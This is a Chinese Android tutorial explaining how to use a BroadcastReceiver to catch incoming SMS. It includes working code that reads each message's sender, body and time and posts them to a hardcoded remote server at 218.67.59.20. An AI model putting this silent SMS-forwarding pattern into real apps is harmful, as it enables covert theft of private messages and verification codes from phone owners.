`
java-mans
  • 浏览: 11392030 次
文章分类
社区版块
存档分类
最新评论

android 使用BroadcastReceiver编写短信

 
阅读更多

BroadcastReceiver编写短信步骤:

第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
第二步:订阅android系统短信广播,这一步的目的是只有通过订阅广播后,手机收到短信,才知道要执行哪个广播组件。
<!--
系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播意图
当发出这个action后,如果与android:name="android.provider.Telephony.SMS_RECEIVED“这个名字相匹配,
则会执行MyBroadcast广播组件,MyBroadcast 这个类是继承BroadcastReceiver自己编写的类。->
	<receiver android:name=".MyBroadcast">
	    <intent-filter>
	         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
	    </intent-filter>
	</receiver>
第三步:继承BroadcastReceiver编写MyBroadcast类,并重写onReceive()方法。
通过名称为pdus,就可以从上面的广播意图中获取短信的内容
public class MyBroadcast extends BroadcastReceiver {
	@Override
	public void onReceive(Context context, Intent intent) {
		 
		//得到的是Object 数组 每条短信是以字节数据的形式存放
			Object[] pduss = (Object[])intent.getExtras().get("pdus");
			for(Object pdus : pduss){
				byte[] pdumessage  = (byte[])pdus;
				SmsMessage sms = SmsMessage.createFromPdu(pdumessage);
				String phone = sms.getOriginatingAddress();
				String content = sms.getMessageBody();
				Date  date  =  new Date(sms.getTimestampMillis());
				SimpleDateFormat sDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
				String sendtime = sDateFormat.format(date);
			//将短信放在map容器中
			Map<String, String> map = new HashMap<String, String>();
		        map.put("phone",phone);
		        map.put("content",content);
		        map.put("sendtime", sendtime);
		        String path="http://218.67.59.20:8080/test/index.jsp";
		        try {
					//将短信发送到path路径的服务端,在服务端就可以通过参数获取短信内容
					SmsToWeb.post(path, map, "UTF-8");
				} catch (Exception e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
			}
	}

}




分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics